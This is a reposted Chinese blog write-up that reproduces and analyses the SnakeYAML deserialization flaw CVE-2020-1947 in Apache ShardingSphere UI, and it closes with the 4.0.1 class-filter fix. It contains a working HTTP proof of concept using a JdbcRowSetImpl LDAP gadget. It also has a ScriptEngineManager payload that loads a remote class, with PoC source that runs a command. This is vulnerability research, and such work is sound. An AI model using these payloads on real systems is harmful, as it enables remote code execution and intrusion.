CVE-2020-1947 Sharding-UI的反序列化復現及分析


CVE-2020-1947 復現及分析

0x01 影響

Apache ShardingSphere < =4.0.0

0x02 環境搭建

incubator-shardingsphere 的ui界面為前后分離,所以搭建環境所需要的工具如下

前端后端沒有啟動的先后順序,任意順序即可。

首先將shardingsphere-ui-frontend 拖入idea,idea會自動通過pom的依賴構建項目,稍等片刻,在org.apache.shardingsphere.ui.Bootstrap類運行main函數即可。

前端環境需要nodejs構建,步驟如下

  1. 進入sharding-ui-frontend/目錄;
  2. 執行npm install
  3. 執行npm run dev
  4. 訪問http://localhost:8080/

現在就可以訪問后台了,用戶名與密碼皆為admin。為了觸發漏洞,需要在后台配置zookeeper。如圖

0x03 POC

登錄后台后,發送如下poc

POST /api/schema HTTP/1.1
Host: localhost:8089
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Access-Token: 替換為自己的
Content-Length: 579

{"name":"CVE-2020-1947","ruleConfiguration":"  encryptors:\n    encryptor_aes:\n      type: aes\n      props:\n        aes.key.value: 123456abc\n    encryptor_md5:\n      type: md5\n  tables:\n    t_encrypt:\n      columns:\n        user_id:\n          plainColumn: user_plain\n          cipherColumn: user_cipher\n          encryptor: encryptor_aes\n        order_id:\n          cipherColumn: order_cipher\n          encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n  dataSourceName: ldap://127.0.0.1:1389/CommandObject\n  autoCommit: true"}

0x04 分析

可以根據poc,可以很明顯的發現是shakeyaml引起的反序列化問題。首先找到處理/api/scheme的controller。在org.apache.shardingsphere.ui.web.controller.ShardingSchemaController處。addSchema會處理post請求

    /**
     * Add schema configuration.
     *
     * @param shardingSchema sharding schema DTO.
     * @return response result
     */
    @RequestMapping(value = "", method = RequestMethod.POST)
    public ResponseResult addSchema(final @RequestBody ShardingSchemaDTO shardingSchema) {
        shardingSchemaService.addSchemaConfiguration(shardingSchema.getName(), shardingSchema.getRuleConfiguration(), shardingSchema.getDataSourceConfiguration());
        return ResponseResultUtil.success();
    }

跟入shardingSchemaService.addSchemaConfiguration函數。

    @Override
    public void addSchemaConfiguration(final String schemaName, final String ruleConfiguration, final String dataSourceConfiguration) {
        checkSchemaName(schemaName, getAllSchemaNames());
        checkRuleConfiguration(ruleConfiguration);
      checkDataSourceConfiguration(dataSourceConfiguration);
//... 省略不相關代碼
    }

addSchemaConfiguration中的checkDataSourceConfiguration函數會處理dataSourceConfiguration。繼續跟入

    private void checkDataSourceConfiguration(final String configData) {
            Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);
           //... 省略不相關代碼
    }

checkDataSourceConfiguration中會調用ConfigurationYamlConvert.LoadDataSourceConfigurations去解析datasource。

    /**
     * Load data source configurations.
     *
     * @param data data
     * @return data source configurations
     */
    @SuppressWarnings("unchecked")
    public static Map<String, DataSourceConfiguration> loadDataSourceConfigurations(final String data) {
        Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data);
//... 省略不相關代碼
    }

loadDataSourceConfigurations中會調用YamlEngine.unmarshal去處理數據,下圖為unmarshal函數的代碼。可以很明顯的看出,unmarshal函數存在反序列化漏洞。yaml的load可以加載任意類,造成反序列化漏洞

/**
 * Unmarshal YAML.
 *
 * @param yamlContent YAML content
 * @return map from YAML
 */
public static Map<?, ?> unmarshal(final String yamlContent) {
    return Strings.isNullOrEmpty(yamlContent) ? new LinkedHashMap<>() : (Map) new Yaml().load(yamlContent);
}

不難看出,搭建復現環境時,不一定需要他的web環境去觸發漏洞,我們可以直接調用相關函數去模擬加載loadDataSourceConfigurations函數。代碼如下

package org.apache.shardingsphere.ui;

import org.apache.shardingsphere.core.config.DataSourceConfiguration;
import org.apache.shardingsphere.ui.util.ConfigurationYamlConverter;

import java.util.Map;

public class test {
    public static void main(String... args){
        String configData = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:9999\"]]]]";
        Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);
    }
}

0x05 poc 構造 基於ScriptEngineManager利用鏈

構造exp可以使用unmarshalsec 工具,請自行搜索

本次利用是基於javax.script.ScriptEngineManager的利用鏈。

簡單地說,ScriptEngineManager類用於Java和JavaScript之間的調用。

PoC.java,需要實現ScriptEngineManager接口類,其中的靜態代碼塊用於執行惡意代碼,將其編譯成PoC.class然后放置於第三方Web服務中:

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.util.List;
import java.io.IOException;
import java.util.Map;


public class PoC implements ScriptEngineFactory {
    static {
        try {
            System.out.println("Hacked by UnicodeSec");
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
    
    public String getEngineName() {
        return null;
    }
    
    public String getEngineVersion() {
        return null;
    }
    
    public List<String> getExtensions() {
        return null;
    }
    
    public List<String> getMimeTypes() {
        return null;
    }
    
    public List<String> getNames() {
        return null;
    }
    
    public String getLanguageName() {
        return null;
    }
    
    public String getLanguageVersion() {
        return null;
    }
    
    public Object getParameter(String key) {
        return null;
    }
    
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    public String getOutputStatement(String toDisplay) {
        return null;
    }
    
    public String getProgram(String... statements) {
        return null;
    }
    
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

另外,在已放置PoC.class的第三方Web服務中,在當前目錄新建如下文件META-INF\services\javax.script.ScriptEngineFactory,其中內容為指定被執行的類名PoC

即可觸發漏洞

0x06 修復分析

在4.0.1中新增了classfilter的構造方法,只允許反序列化YamlDataSourceConfiguration類。

LoadDataSouceConfigurations函數設置只允許反序列化相關類,
ClassFilterConstructor 代碼如下

public final class ClassFilterConstructor extends Constructor {
    
    private final Collection<Class<?>> acceptClasses;
    
    @Override
    protected Class<?> getClassForName(final String name) throws ClassNotFoundException {
        for (Class<? extends Object> each : acceptClasses) {
            if (name.equals(each.getName())) {
                return super.getClassForName(name);
            }
        }
        throw new IllegalArgumentException(String.format("Class is not accepted: %s", name));
    }
}

LoadDatasourceConfigurations函數中設置classfilter

Map<String, YamlDataSourceConfiguration> result = (Map) YamlEngine.unmarshal(data, Collections.<Class<?>>singletonList(YamlDataSourceConfiguration.class));

0x06 參考

  1. https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-type-safe-collections
  2. https://www.javadoc.io/doc/org.yaml/snakeyaml/1.19/org/yaml/snakeyaml/constructor/Constructor.html
  3. https://shardingsphere.apache.org/document/current/cn/manual/sharding-ui/
  4. https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x02-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM